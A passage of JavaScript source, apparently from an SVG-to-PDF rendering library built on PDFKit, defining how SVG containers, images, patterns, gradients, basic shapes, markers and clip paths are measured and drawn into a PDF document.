this.getBoundingShape();\r\n return shape.getBoundingBox();\r\n };\r\n };\r\n\r\n var SvgElemStylable = function(obj, inherits) {\r\n SvgElem.call(this, obj, inherits);\r\n this.transform = function() {\r\n doc.transform.apply(doc, this.getTransformation());\r\n };\r\n this.clip = function() {\r\n if (this.get('clip-path') !== 'none') {\r\n let clipPath = new SvgElemClipPath(this.get('clip-path'), null);\r\n clipPath.useMask(this.getBoundingBox());\r\n return true;\r\n }\r\n };\r\n this.mask = function() {\r\n if (this.get('mask') !== 'none') {\r\n let mask = new SvgElemMask(this.get('mask'), null);\r\n mask.useMask(this.getBoundingBox());\r\n return true;\r\n }\r\n };\r\n this.getFill = function(isClip, isMask) {\r\n let opacity = this.get('opacity'),\r\n fill = this.get('fill'),\r\n fillOpacity = this.get('fill-opacity');\r\n if (isClip) {return DefaultColors.white;}\r\n if (fill !== 'none' && opacity && fillOpacity) {\r\n if (fill instanceof SvgElemGradient || fill instanceof SvgElemPattern) {\r\n return fill.getPaint(this.getBoundingBox(), fillOpacity * opacity, isClip, isMask);\r\n }\r\n return opacityToColor(fill, fillOpacity * opacity, isMask);\r\n }\r\n };\r\n this.getStroke = function(isClip, isMask) {\r\n let opacity = this.get('opacity'),\r\n stroke = this.get('stroke'),\r\n strokeOpacity = this.get('stroke-opacity');\r\n if (isClip || isEqual(this.get('stroke-width'), 0)) {return;}\r\n if (stroke !== 'none' && opacity && strokeOpacity) {\r\n if (stroke instanceof SvgElemGradient || stroke instanceof SvgElemPattern) {\r\n return stroke.getPaint(this.getBoundingBox(), strokeOpacity * opacity, isClip, isMask);\r\n }\r\n return opacityToColor(stroke, strokeOpacity * opacity, isMask);\r\n }\r\n };\r\n };\r\n\r\n var SvgElemHasChildren = function(obj, inherits) {\r\n SvgElemStylable.call(this, obj, inherits);\r\n this.allowedChildren = ['use', 'g', 'a', 'svg', 'image', 'rect', 'circle', 'ellipse', 'line', 'polyline', 'polygon', 'path', 'text'];\r\n this.getBoundingShape = function() {\r\n let shape = new SvgShape(),\r\n children = this.getChildren();\r\n for (let i = 0; i < children.length; i++) {\r\n if (children[i].get('display') !== 'none') {\r\n if (typeof children[i].getBoundingShape === 'function') {\r\n let childShape = children[i].getBoundingShape().clone();\r\n if (typeof children[i].getTransformation === 'function') {\r\n childShape.transform(children[i].getTransformation());\r\n }\r\n shape.mergeShape(childShape);\r\n }\r\n }\r\n }\r\n return shape;\r\n };\r\n this.drawChildren = function(isClip, isMask) {\r\n let children = this.getChildren();\r\n for (let i = 0; i < children.length; i++) {\r\n if (children[i].get('display') !== 'none') {\r\n if (typeof children[i].drawInDocument === 'function') {\r\n children[i].drawInDocument(isClip, isMask);\r\n }\r\n }\r\n }\r\n };\r\n };\r\n\r\n var SvgElemContainer = function(obj, inherits) {\r\n SvgElemHasChildren.call(this, obj, inherits);\r\n this.drawContent = function(isClip, isMask) {\r\n this.transform();\r\n let clipped = this.clip(),\r\n masked = this.mask(),\r\n group;\r\n if ((this.get('opacity') < 1 || clipped || masked) && !isClip) {\r\n group = docBeginGroup(getPageBBox());\r\n }\r\n this.drawChildren(isClip, isMask);\r\n if (group) {\r\n docEndGroup(group);\r\n doc.fillOpacity(this.get('opacity'));\r\n docInsertGroup(group);\r\n }\r\n };\r\n };\r\n\r\n var SvgElemUse = function(obj, inherits) {\r\n SvgElemContainer.call(this, obj, inherits);\r\n let x = this.getLength('x', this.getVWidth(), 0),\r\n y = this.getLength('y', this.getVHeight(), 0),\r\n child = this.getUrl('href') || this.getUrl('xlink:href');\r\n if (child) {child = createSVGElement(child, this);}\r\n this.getChildren = function() {\r\n return child ? [child] : [];\r\n };\r\n this.drawInDocument = function(isClip, isMask) {\r\n doc.save();\r\n this.drawContent(isClip, isMask);\r\n doc.restore();\r\n };\r\n this.getTransformation = function() {\r\n return multiplyMatrix(this.get('transform'), [1, 0, 0, 1, x, y]);\r\n };\r\n };\r\n\r\n var SvgElemSymbol = function(obj, inherits) {\r\n SvgElemContainer.call(this, obj, inherits);\r\n let width = this.getLength('width', this.getParentVWidth(), this.getParentVWidth()),\r\n height = this.getLength('height', this.getParentVHeight(), this.getParentVHeight());\r\n if (inherits instanceof SvgElemUse) {\r\n width = inherits.getLength('width', inherits.getParentVWidth(), width);\r\n height = inherits.getLength('height', inherits.getParentVHeight(), height);\r\n }\r\n let aspectRatio = (this.attr('preserveAspectRatio') || '').trim(),\r\n viewBox = this.getViewbox('viewBox', [0, 0, width, height]);\r\n this.getVWidth = function() {\r\n return viewBox[2];\r\n };\r\n this.getVHeight = function() {\r\n return viewBox[3];\r\n };\r\n this.drawInDocument = function(isClip, isMask) {\r\n doc.save();\r\n this.drawContent(isClip, isMask);\r\n doc.restore();\r\n };\r\n this.getTransformation = function() {\r\n return multiplyMatrix(parseAspectRatio(aspectRatio, width, height, viewBox[2], viewBox[3]), [1, 0, 0, 1, -viewBox[0], -viewBox[1]]);\r\n };\r\n };\r\n\r\n var SvgElemGroup = function(obj, inherits) {\r\n SvgElemContainer.call(this, obj, inherits);\r\n this.drawInDocument = function(isClip, isMask) {\r\n doc.save();\r\n if (this.link && !isClip && !isMask) {this.addLink();}\r\n this.drawContent(isClip, isMask);\r\n doc.restore();\r\n };\r\n this.getTransformation = function() {\r\n return this.get('transform');\r\n };\r\n };\r\n\r\n var SvgElemLink = function(obj, inherits) {\r\n if (inherits && inherits.isText) {\r\n SvgElemTspan.call(this, obj, inherits);\r\n this.allowedChildren = ['textPath', 'tspan', '#text', '#cdata-section', 'a'];\r\n } else {\r\n SvgElemGroup.call(this, obj, inherits);\r\n }\r\n this.link = this.attr('href') || this.attr('xlink:href');\r\n this.addLink = function() {\r\n if (this.link.match(/^(?:[a-z][a-z0-9+.-]*:|\\/\\/)?/i) && this.getChildren().length) {\r\n let bbox = this.getBoundingShape().transform(getGlobalMatrix()).getBoundingBox();\r\n docInsertLink(bbox[0], bbox[1], bbox[2], bbox[3], this.link);\r\n }\r\n }\r\n };\r\n\r\n var SvgElemSvg = function(obj, inherits) {\r\n SvgElemContainer.call(this, obj, inherits);\r\n let width = this.getLength('width', this.getParentVWidth(), this.getParentVWidth()),\r\n height = this.getLength('height', this.getParentVHeight(), this.getParentVHeight()),\r\n x = this.getLength('x', this.getParentVWidth(), 0),\r\n y = this.getLength('y', this.getParentVHeight(), 0);\r\n if (inherits instanceof SvgElemUse) {\r\n width = inherits.getLength('width', inherits.getParentVWidth(), width);\r\n height = inherits.getLength('height', inherits.getParentVHeight(), height);\r\n }\r\n let aspectRatio = this.attr('preserveAspectRatio'),\r\n viewBox = this.getViewbox('viewBox', [0, 0, width, height]);\r\n if (this.isOuterElement && preserveAspectRatio) {\r\n x = y = 0;\r\n width = viewportWidth;\r\n height = viewportHeight;\r\n aspectRatio = preserveAspectRatio;\r\n }\r\n this.getVWidth = function() {\r\n return viewBox[2];\r\n };\r\n this.getVHeight = function() {\r\n return viewBox[3];\r\n };\r\n this.drawInDocument = function(isClip, isMask) {\r\n doc.save();\r\n if (this.get('overflow') === 'hidden') {\r\n new SvgShape().M(x, y).L(x + width, y).L(x + width, y + height).L(x, y + height).Z()\r\n .transform(this.get('transform'))\r\n .insertInDocument();\r\n doc.clip();\r\n }\r\n this.drawContent(isClip, isMask);\r\n doc.restore();\r\n };\r\n this.getTransformation = function() {\r\n return multiplyMatrix(\r\n this.get('transform'),\r\n [1, 0, 0, 1, x, y],\r\n parseAspectRatio(aspectRatio, width, height, viewBox[2], viewBox[3]),\r\n [1, 0, 0, 1, -viewBox[0], -viewBox[1]]\r\n );\r\n };\r\n };\r\n\r\n var SVGElemImage = function(obj, inherits) {\r\n SvgElemStylable.call(this, obj, inherits);\r\n let link = imageCallback(this.attr('href') || this.attr('xlink:href') || ''),\r\n x = this.getLength('x', this.getVWidth(), 0),\r\n y = this.getLength('y', this.getVHeight(), 0),\r\n width = this.getLength('width', this.getVWidth(), 'auto'),\r\n height = this.getLength('height', this.getVHeight(), 'auto'),\r\n image;\r\n try {\r\n image = doc.openImage(link);\r\n } catch(e) {\r\n warningCallback('SVGElemImage: failed to open image \"' + link + '\" in PDFKit');\r\n }\r\n if (image) {\r\n if (width === 'auto' && height !== 'auto') {\r\n width = height * image.width / image.height;\r\n } else if (height === 'auto' && width !== 'auto') {\r\n height = width * image.height / image.width;\r\n } else if (width === 'auto' && height === 'auto') {\r\n width = image.width;\r\n height = image.height;\r\n }\r\n }\r\n if (width === 'auto' || width < 0) {width = 0;}\r\n if (height === 'auto' || height < 0) {height = 0;}\r\n this.getTransformation = function() {\r\n return this.get('transform');\r\n };\r\n this.getBoundingShape = function() {\r\n return new SvgShape().M(x, y).L(x + width, y).M(x + width, y + height).L(x, y + height);\r\n };\r\n this.drawInDocument = function(isClip, isMask) {\r\n if (this.get('visibility') === 'hidden' || !image) {return;}\r\n doc.save();\r\n this.transform();\r\n if (this.get('overflow') === 'hidden') {\r\n doc.rect(x, y, width, height).clip();\r\n }\r\n this.clip();\r\n this.mask();\r\n doc.translate(x, y);\r\n doc.transform.apply(doc, parseAspectRatio(this.attr('preserveAspectRatio'), width, height, image ? image.width : width, image ? image.height : height));\r\n if (!isClip) {\r\n doc.fillOpacity(this.get('opacity'));\r\n doc.image(image, 0, 0);\r\n } else {\r\n doc.rect(0, 0, image.width, image.height);\r\n docFillColor(DefaultColors.white).fill();\r\n }\r\n doc.restore();\r\n };\r\n };\r\n\r\n var SvgElemPattern = function(obj, inherits, fallback) {\r\n SvgElemHasChildren.call(this, obj, inherits);\r\n this.ref = (function() {\r\n let ref = this.getUrl('href') || this.getUrl('xlink:href');\r\n if (ref && ref.nodeName === obj.nodeName) {\r\n return new SvgElemPattern(ref, inherits, fallback);\r\n }\r\n }).call(this);\r\n let _attr = this.attr;\r\n this.attr = function(key) {\r\n let attr = _attr.call(this, key);\r\n if (attr != null || key === 'href' || key === 'xlink:href') {return attr;}\r\n return this.ref ? this.ref.attr(key) : null;\r\n };\r\n let _getChildren = this.getChildren;\r\n this.getChildren = function() {\r\n let children = _getChildren.call(this);\r\n if (children.length > 0) {return children;}\r\n return this.ref ? this.ref.getChildren() : [];\r\n };\r\n this.getPaint = function(bBox, gOpacity, isClip, isMask) {\r\n let bBoxUnitsPattern = (this.attr('patternUnits') !== 'userSpaceOnUse'),\r\n bBoxUnitsContent = (this.attr('patternContentUnits') === 'objectBoundingBox'),\r\n x = this.getLength('x', (bBoxUnitsPattern ? 1 : this.getParentVWidth()), 0),\r\n y = this.getLength('y', (bBoxUnitsPattern ? 1 : this.getParentVHeight()), 0),\r\n width = this.getLength('width', (bBoxUnitsPattern ? 1 : this.getParentVWidth()), 0),\r\n height = this.getLength('height', (bBoxUnitsPattern ? 1 : this.getParentVHeight()), 0);\r\n if (bBoxUnitsContent && !bBoxUnitsPattern) { // Use the same units for pattern & pattern content\r\n x = (x - bBox[0]) / (bBox[2] - bBox[0]) || 0;\r\n y = (y - bBox[1]) / (bBox[3] - bBox[1]) || 0;\r\n width = width / (bBox[2] - bBox[0]) || 0;\r\n height = height / (bBox[3] - bBox[1]) || 0;\r\n } else if (!bBoxUnitsContent && bBoxUnitsPattern) {\r\n x = bBox[0] + x * (bBox[2] - bBox[0]);\r\n y = bBox[1] + y * (bBox[3] - bBox[1]);\r\n width = width * (bBox[2] - bBox[0]);\r\n height = height * (bBox[3] - bBox[1]);\r\n }\r\n let viewBox = this.getViewbox('viewBox', [0, 0, width, height]),\r\n aspectRatio = (this.attr('preserveAspectRatio') || '').trim(),\r\n aspectRatioMatrix = multiplyMatrix(\r\n parseAspectRatio(aspectRatio, width, height, viewBox[2], viewBox[3], 0),\r\n [1, 0, 0, 1, -viewBox[0], -viewBox[1]]\r\n ),\r\n matrix = parseTranform(this.attr('patternTransform'));\r\n if (bBoxUnitsContent) {\r\n matrix = multiplyMatrix([bBox[2] - bBox[0], 0, 0, bBox[3] - bBox[1], bBox[0], bBox[1]], matrix);\r\n }\r\n matrix = multiplyMatrix(matrix, [1, 0, 0, 1, x, y]);\r\n if ((matrix = validateMatrix(matrix)) && (aspectRatioMatrix = validateMatrix(aspectRatioMatrix)) && (width = validateNumber(width)) && (height = validateNumber(height))) {\r\n let group = docBeginGroup([0, 0, width, height]);\r\n doc.transform.apply(doc, aspectRatioMatrix);\r\n this.drawChildren(isClip, isMask);\r\n docEndGroup(group);\r\n return [docCreatePattern(group, width, height, matrix), gOpacity];\r\n } else {\r\n return fallback ? [fallback[0], fallback[1] * gOpacity] : undefined;\r\n }\r\n };\r\n this.getVWidth = function() {\r\n let bBoxUnitsPattern = (this.attr('patternUnits') !== 'userSpaceOnUse'),\r\n width = this.getLength('width', (bBoxUnitsPattern ? 1 : this.getParentVWidth()), 0);\r\n return this.getViewbox('viewBox', [0, 0, width, 0])[2];\r\n };\r\n this.getVHeight = function() {\r\n let bBoxUnitsPattern = (this.attr('patternUnits') !== 'userSpaceOnUse'),\r\n height = this.getLength('height', (bBoxUnitsPattern ? 1 : this.getParentVHeight()), 0);\r\n return this.getViewbox('viewBox', [0, 0, 0, height])[3];\r\n };\r\n };\r\n\r\n var SvgElemGradient = function(obj, inherits, fallback) {\r\n SvgElem.call(this, obj, inherits);\r\n this.allowedChildren = ['stop'];\r\n this.ref = (function() {\r\n let ref = this.getUrl('href') || this.getUrl('xlink:href');\r\n if (ref && ref.nodeName === obj.nodeName) {\r\n return new SvgElemGradient(ref, inherits, fallback);\r\n }\r\n }).call(this);\r\n let _attr = this.attr;\r\n this.attr = function(key) {\r\n let attr = _attr.call(this, key);\r\n if (attr != null || key === 'href' || key === 'xlink:href') {return attr;}\r\n return this.ref ? this.ref.attr(key) : null;\r\n };\r\n let _getChildren = this.getChildren;\r\n this.getChildren = function() {\r\n let children = _getChildren.call(this);\r\n if (children.length > 0) {return children;}\r\n return this.ref ? this.ref.getChildren() : [];\r\n };\r\n this.getPaint = function(bBox, gOpacity, isClip, isMask) {\r\n let children = this.getChildren();\r\n if (children.length === 0) {return;}\r\n if (children.length === 1) {\r\n let child = children[0],\r\n stopColor = child.get('stop-color');\r\n if (stopColor === 'none') {return;}\r\n return opacityToColor(stopColor, child.get('stop-opacity') * gOpacity, isMask);\r\n }\r\n let bBoxUnits = (this.attr('gradientUnits') !== 'userSpaceOnUse'),\r\n matrix = parseTranform(this.attr('gradientTransform')),\r\n spread = this.attr('spreadMethod'),\r\n grad,\r\n x1, x2, y1, y2, r2,\r\n nAfter = 0,\r\n nBefore = 0,\r\n nTotal = 1;\r\n if (bBoxUnits) {\r\n matrix = multiplyMatrix([bBox[2] - bBox[0], 0, 0, bBox[3] - bBox[1], bBox[0], bBox[1]], matrix);\r\n }\r\n if (matrix = validateMatrix(matrix)) {\r\n if (this.name === 'linearGradient') {\r\n x1 = this.getLength('x1', (bBoxUnits ? 1 : this.getVWidth()), 0);\r\n x2 = this.getLength('x2', (bBoxUnits ? 1 : this.getVWidth()), (bBoxUnits ? 1 : this.getVWidth()));\r\n y1 = this.getLength('y1', (bBoxUnits ? 1 : this.getVHeight()), 0);\r\n y2 = this.getLength('y2', (bBoxUnits ? 1 : this.getVHeight()), 0);\r\n } else {\r\n x2 = this.getLength('cx', (bBoxUnits ? 1 : this.getVWidth()), (bBoxUnits ? 0.5 : 0.5 * this.getVWidth()));\r\n y2 = this.getLength('cy', (bBoxUnits ? 1 : this.getVHeight()), (bBoxUnits ? 0.5 : 0.5 * this.getVHeight()));\r\n r2 = this.getLength('r', (bBoxUnits ? 1 : this.getViewport()), (bBoxUnits ? 0.5 : 0.5 * this.getViewport()));\r\n x1 = this.getLength('fx', (bBoxUnits ? 1 : this.getVWidth()), x2);\r\n y1 = this.getLength('fy', (bBoxUnits ? 1 : this.getVHeight()), y2);\r\n if (r2 < 0) {\r\n warningCallback('SvgElemGradient: negative r value');\r\n }\r\n let d = Math.sqrt(Math.pow(x2 - x1, 2) + Math.pow(y2 - y1, 2)),\r\n multiplier = 1;\r\n if (d > r2) { // according to specification\r\n multiplier = r2 / d;\r\n x1 = x2 + (x1 - x2) * multiplier;\r\n y1 = y2 + (y1 - y2) * multiplier;\r\n }\r\n r2 = Math.max(r2, d * multiplier * (1 + 1e-6)); // fix for edge-case gradients see issue #84\r\n }\r\n if (spread === 'reflect' || spread === 'repeat') {\r\n let inv = inverseMatrix(matrix),\r\n corner1 = transformPoint([bBox[0], bBox[1]], inv),\r\n corner2 = transformPoint([bBox[2], bBox[1]], inv),\r\n corner3 = transformPoint([bBox[2], bBox[3]], inv),\r\n corner4 = transformPoint([bBox[0], bBox[3]], inv);\r\n if (this.name === 'linearGradient') { // See file 'gradient-repeat-maths.png'\r\n nAfter = Math.max((corner1[0] - x2) * (x2 - x1) + (corner1[1] - y2) * (y2 - y1),\r\n (corner2[0] - x2) * (x2 - x1) + (corner2[1] - y2) * (y2 - y1),\r\n (corner3[0] - x2) * (x2 - x1) + (corner3[1] - y2) * (y2 - y1),\r\n (corner4[0] - x2) * (x2 - x1) + (corner4[1] - y2) * (y2 - y1))\r\n / (Math.pow(x2 - x1, 2) + Math.pow(y2 - y1, 2));\r\n nBefore = Math.max((corner1[0] - x1) * (x1 - x2) + (corner1[1] - y1) * (y1 - y2),\r\n (corner2[0] - x1) * (x1 - x2) + (corner2[1] - y1) * (y1 - y2),\r\n (corner3[0] - x1) * (x1 - x2) + (corner3[1] - y1) * (y1 - y2),\r\n (corner4[0] - x1) * (x1 - x2) + (corner4[1] - y1) * (y1 - y2))\r\n / (Math.pow(x2 - x1, 2) + Math.pow(y2 - y1, 2));\r\n } else {\r\n nAfter = Math.sqrt(Math.max(Math.pow(corner1[0] - x2, 2) + Math.pow(corner1[1] - y2, 2),\r\n Math.pow(corner2[0] - x2, 2) + Math.pow(corner2[1] - y2, 2),\r\n Math.pow(corner3[0] - x2, 2) + Math.pow(corner3[1] - y2, 2),\r\n Math.pow(corner4[0] - x2, 2) + Math.pow(corner4[1] - y2, 2))) / r2 - 1;\r\n }\r\n nAfter = Math.ceil(nAfter + 0.5); // Add a little more because the stroke can extend outside of the bounding box\r\n nBefore = Math.ceil(nBefore + 0.5);\r\n nTotal = nBefore + 1 + nAfter; // How many times the gradient needs to be repeated to fill the object bounding box\r\n }\r\n if (this.name === 'linearGradient') {\r\n grad = doc.linearGradient(x1 - nBefore * (x2 - x1), y1 - nBefore * (y2 - y1), x2 + nAfter * (x2 - x1), y2 + nAfter * (y2 - y1));\r\n } else {\r\n grad = doc.radialGradient(x1, y1, 0, x2, y2, r2 + nAfter * r2);\r\n }\r\n for (let n = 0; n < nTotal; n++) {\r\n let offset = 0,\r\n inOrder = (spread !== 'reflect' || (n - nBefore) % 2 === 0);\r\n for (let i = 0; i < children.length; i++) {\r\n let child = children[inOrder ? i : children.length - 1 - i],\r\n stopColor = child.get('stop-color');\r\n if (stopColor === 'none') {stopColor = DefaultColors.transparent;}\r\n stopColor = opacityToColor(stopColor, child.get('stop-opacity') * gOpacity, isMask);\r\n offset = Math.max(offset, inOrder ? child.getPercent('offset', 0) : 1 - child.getPercent('offset', 0));\r\n if (i === 0 && stopColor[0].length === 4) {grad._colorSpace = 'DeviceCMYK';} // Fix until PR #763 is merged into PDFKit\r\n if (i === 0 && offset > 0) {\r\n grad.stop((n + 0) / nTotal, stopColor[0], stopColor[1]);\r\n }\r\n grad.stop((n + offset) / (nAfter + nBefore + 1), stopColor[0], stopColor[1]);\r\n if (i === children.length - 1 && offset < 1) {\r\n grad.stop((n + 1) / nTotal, stopColor[0], stopColor[1]);\r\n }\r\n }\r\n }\r\n grad.setTransform.apply(grad, matrix);\r\n return [grad, 1];\r\n } else {\r\n return fallback ? [fallback[0], fallback[1] * gOpacity] : undefined;\r\n }\r\n }\r\n };\r\n\r\n var SvgElemBasicShape = function(obj, inherits) {\r\n SvgElemStylable.call(this, obj, inherits);\r\n this.dashScale = 1;\r\n this.getBoundingShape = function() {\r\n return this.shape;\r\n };\r\n this.getTransformation = function() {\r\n return this.get('transform');\r\n };\r\n this.drawInDocument = function(isClip, isMask) {\r\n if (this.get('visibility') === 'hidden' || !this.shape) {return;}\r\n doc.save();\r\n this.transform();\r\n this.clip();\r\n if (!isClip) {\r\n let masked = this.mask(),\r\n group;\r\n if (masked) {\r\n group = docBeginGroup(getPageBBox());\r\n }\r\n let subPaths = this.shape.getSubPaths(),\r\n fill = this.getFill(isClip, isMask),\r\n stroke = this.getStroke(isClip, isMask),\r\n lineWidth = this.get('stroke-width'),\r\n lineCap = this.get('stroke-linecap');\r\n if (fill || stroke) {\r\n if (fill) {\r\n docFillColor(fill);\r\n }\r\n if (stroke) {\r\n for (let j = 0; j < subPaths.length; j++) {\r\n if (isEqual(subPaths[j].totalLength, 0)) {\r\n if ((lineCap === 'square' || lineCap === 'round') && lineWidth > 0) {\r\n if (subPaths[j].startPoint && subPaths[j].startPoint.length > 1) {\r\n let x = subPaths[j].startPoint[0],\r\n y = subPaths[j].startPoint[1];\r\n docFillColor(stroke);\r\n if (lineCap === 'square') {\r\n doc.rect(x - 0.5 * lineWidth, y - 0.5 * lineWidth, lineWidth, lineWidth);\r\n } else if (lineCap === 'round') {\r\n doc.circle(x, y, 0.5 * lineWidth);\r\n }\r\n doc.fill();\r\n }\r\n }\r\n }\r\n }\r\n let dashArray = this.get('stroke-dasharray'),\r\n dashOffset = this.get('stroke-dashoffset');\r\n if (isNotEqual(this.dashScale, 1)) {\r\n for (let j = 0; j < dashArray.length; j++) {\r\n dashArray[j] *= this.dashScale;\r\n }\r\n dashOffset *= this.dashScale;\r\n }\r\n docStrokeColor(stroke);\r\n doc.lineWidth(lineWidth)\r\n .miterLimit(this.get('stroke-miterlimit'))\r\n .lineJoin(this.get('stroke-linejoin'))\r\n .lineCap(lineCap)\r\n .dash(dashArray, {phase: dashOffset});\r\n }\r\n for (let j = 0; j < subPaths.length; j++) {\r\n if (subPaths[j].totalLength > 0) {\r\n subPaths[j].insertInDocument();\r\n }\r\n }\r\n if (fill && stroke) {\r\n doc.fillAndStroke(this.get('fill-rule'));\r\n } else if (fill) {\r\n doc.fill(this.get('fill-rule'));\r\n } else if (stroke) {\r\n doc.stroke();\r\n }\r\n }\r\n let markerStart = this.get('marker-start'),\r\n markerMid = this.get('marker-mid'),\r\n markerEnd = this.get('marker-end');\r\n if (markerStart !== 'none' || markerMid !== 'none' || markerEnd !== 'none') {\r\n let markersPos = this.shape.getMarkers();\r\n if (markerStart !== 'none') {\r\n let marker = new SvgElemMarker(markerStart, null);\r\n marker.drawMarker(false, isMask, markersPos[0], lineWidth);\r\n }\r\n if (markerMid !== 'none') {\r\n for (let i = 1; i < markersPos.length - 1; i++) {\r\n let marker = new SvgElemMarker(markerMid, null);\r\n marker.drawMarker(false, isMask, markersPos[i], lineWidth);\r\n }\r\n }\r\n if (markerEnd !== 'none') {\r\n let marker = new SvgElemMarker(markerEnd, null);\r\n marker.drawMarker(false, isMask, markersPos[markersPos.length - 1], lineWidth);\r\n }\r\n }\r\n if (group) {\r\n docEndGroup(group);\r\n docInsertGroup(group);\r\n }\r\n } else {\r\n this.shape.insertInDocument();\r\n docFillColor(DefaultColors.white);\r\n doc.fill(this.get('clip-rule'));\r\n }\r\n doc.restore();\r\n };\r\n };\r\n\r\n var SvgElemRect = function(obj, inherits) {\r\n SvgElemBasicShape.call(this, obj, inherits);\r\n let x = this.getLength('x', this.getVWidth(), 0),\r\n y = this.getLength('y', this.getVHeight(), 0),\r\n w = this.getLength('width', this.getVWidth(), 0),\r\n h = this.getLength('height', this.getVHeight(), 0),\r\n rx = this.getLength('rx', this.getVWidth()),\r\n ry = this.getLength('ry', this.getVHeight());\r\n if (rx === undefined && ry === undefined) {rx = ry = 0;}\r\n else if (rx === undefined && ry !== undefined) {rx = ry;}\r\n else if (rx !== undefined && ry === undefined) {ry = rx;}\r\n if (w > 0 && h > 0) {\r\n if (rx && ry) {\r\n rx = Math.min(rx, 0.5 * w);\r\n ry = Math.min(ry, 0.5 * h);\r\n this.shape = new SvgShape().M(x + rx, y).L(x + w - rx, y).A(rx, ry, 0, 0, 1, x + w, y + ry)\r\n .L(x + w, y + h - ry).A(rx, ry, 0, 0, 1, x + w - rx, y + h).L(x + rx, y + h)\r\n .A(rx, ry, 0, 0, 1, x, y + h - ry).L(x, y + ry).A(rx, ry, 0, 0, 1, x + rx, y).Z();\r\n } else {\r\n this.shape = new SvgShape().M(x, y).L(x + w, y).L(x + w, y + h).L(x, y + h).Z();\r\n }\r\n } else {\r\n this.shape = new SvgShape();\r\n }\r\n };\r\n\r\n var SvgElemCircle = function(obj, inherits) {\r\n SvgElemBasicShape.call(this, obj, inherits);\r\n let cx = this.getLength('cx', this.getVWidth(), 0),\r\n cy = this.getLength('cy', this.getVHeight(), 0),\r\n r = this.getLength('r', this.getViewport(), 0);\r\n if (r > 0) {\r\n this.shape = new SvgShape().M(cx + r, cy).A(r, r, 0, 0, 1, cx - r, cy).A(r, r, 0, 0, 1, cx + r, cy).Z();\r\n } else {\r\n this.shape = new SvgShape();\r\n }\r\n };\r\n\r\n var SvgElemEllipse = function(obj, inherits) {\r\n SvgElemBasicShape.call(this, obj, inherits);\r\n let cx = this.getLength('cx', this.getVWidth(), 0),\r\n cy = this.getLength('cy', this.getVHeight(), 0),\r\n rx = this.getLength('rx', this.getVWidth(), 0),\r\n ry = this.getLength('ry', this.getVHeight(), 0);\r\n if (rx > 0 && ry > 0) {\r\n this.shape = new SvgShape().M(cx + rx, cy).A(rx, ry, 0, 0, 1, cx - rx, cy).A(rx, ry, 0, 0, 1, cx + rx, cy).Z();\r\n } else {\r\n this.shape = new SvgShape();\r\n }\r\n };\r\n\r\n var SvgElemLine = function(obj, inherits) {\r\n SvgElemBasicShape.call(this, obj, inherits);\r\n let x1 = this.getLength('x1', this.getVWidth(), 0),\r\n y1 = this.getLength('y1', this.getVHeight(), 0),\r\n x2 = this.getLength('x2', this.getVWidth(), 0),\r\n y2 = this.getLength('y2', this.getVHeight(), 0);\r\n this.shape = new SvgShape().M(x1, y1).L(x2, y2);\r\n };\r\n\r\n var SvgElemPolyline = function(obj, inherits) {\r\n SvgElemBasicShape.call(this, obj, inherits);\r\n let points = this.getNumberList('points');\r\n this.shape = new SvgShape();\r\n for (let i = 0; i < points.length - 1; i += 2) {\r\n if (i === 0) {\r\n this.shape.M(points[i], points[i+1]);\r\n } else {\r\n this.shape.L(points[i], points[i+1]);\r\n }\r\n }\r\n if (points.error) {warningCallback('SvgElemPolygon: unexpected string ' + points.error);}\r\n if (points.length % 2 === 1) {warningCallback('SvgElemPolyline: uneven number of coordinates');}\r\n };\r\n\r\n var SvgElemPolygon = function(obj, inherits) {\r\n SvgElemBasicShape.call(this, obj, inherits);\r\n let points = this.getNumberList('points');\r\n this.shape = new SvgShape();\r\n for (let i = 0; i < points.length - 1; i += 2) {\r\n if (i === 0) {\r\n this.shape.M(points[i], points[i+1]);\r\n } else {\r\n this.shape.L(points[i], points[i+1]);\r\n }\r\n }\r\n this.shape.Z();\r\n if (points.error) {warningCallback('SvgElemPolygon: unexpected string ' + points.error);}\r\n if (points.length % 2 === 1) {warningCallback('SvgElemPolygon: uneven number of coordinates');}\r\n };\r\n\r\n var SvgElemPath = function(obj, inherits) {\r\n SvgElemBasicShape.call(this, obj, inherits);\r\n this.shape = new SvgShape().path(this.attr('d'));\r\n let pathLength = this.getLength('pathLength', this.getViewport());\r\n this.pathLength = pathLength > 0 ? pathLength : undefined;\r\n this.dashScale = (this.pathLength !== undefined ? this.shape.totalLength / this.pathLength : 1);\r\n };\r\n\r\n var SvgElemMarker = function(obj, inherits) {\r\n SvgElemHasChildren.call(this, obj, inherits);\r\n let width = this.getLength('markerWidth', this.getParentVWidth(), 3),\r\n height = this.getLength('markerHeight', this.getParentVHeight(), 3),\r\n viewBox = this.getViewbox('viewBox', [0, 0, width, height]);\r\n this.getVWidth = function() {\r\n return viewBox[2];\r\n };\r\n this.getVHeight = function() {\r\n return viewBox[3];\r\n };\r\n this.drawMarker = function(isClip, isMask, posArray, strokeWidth) {\r\n doc.save();\r\n let orient = this.attr('orient'),\r\n units = this.attr('markerUnits'),\r\n rotate = (orient === 'auto' ? posArray[2] : (parseFloat(orient) || 0) * Math.PI / 180),\r\n scale = (units === 'userSpaceOnUse' ? 1 : strokeWidth);\r\n doc.transform(Math.cos(rotate) * scale, Math.sin(rotate) * scale, -Math.sin(rotate) * scale, Math.cos(rotate) * scale, posArray[0], posArray[1]);\r\n let refX = this.getLength('refX', this.getVWidth(), 0),\r\n refY = this.getLength('refY', this.getVHeight(), 0),\r\n aspectRatioMatrix = parseAspectRatio(this.attr('preserveAspectRatio'), width, height, viewBox[2], viewBox[3], 0.5);\r\n if (this.get('overflow') === 'hidden') {\r\n doc.rect(aspectRatioMatrix[0] * (viewBox[0] + viewBox[2] / 2 - refX) - width / 2, aspectRatioMatrix[3] * (viewBox[1] + viewBox[3] / 2 - refY) - height / 2, width, height).clip();\r\n }\r\n doc.transform.apply(doc, aspectRatioMatrix);\r\n doc.translate(-refX, -refY);\r\n let group;\r\n if (this.get('opacity') < 1 && !isClip) {\r\n group = docBeginGroup(getPageBBox());\r\n }\r\n this.drawChildren(isClip, isMask);\r\n if (group) {\r\n docEndGroup(group);\r\n doc.fillOpacity(this.get('opacity'));\r\n docInsertGroup(group);\r\n }\r\n doc.restore();\r\n };\r\n };\r\n\r\n var SvgElemClipPath = function(obj, inherits) {\r\n SvgElemHasChildren.call(this, obj, inherits);\r\n this.useMask = function(bBox) {\r\n let group = docBeginGroup(getPageBBox());\r\n doc.save();\r\n if (this.attr('clipPathUnits') === 'objectBoundingBox') {\r\n doc.transform(bBox[2] - bBox[0], 0, 0, bBox[3] - bBox[1], bBox[0], bBox[1]);\r\n }\r\n this.clip();\r\n 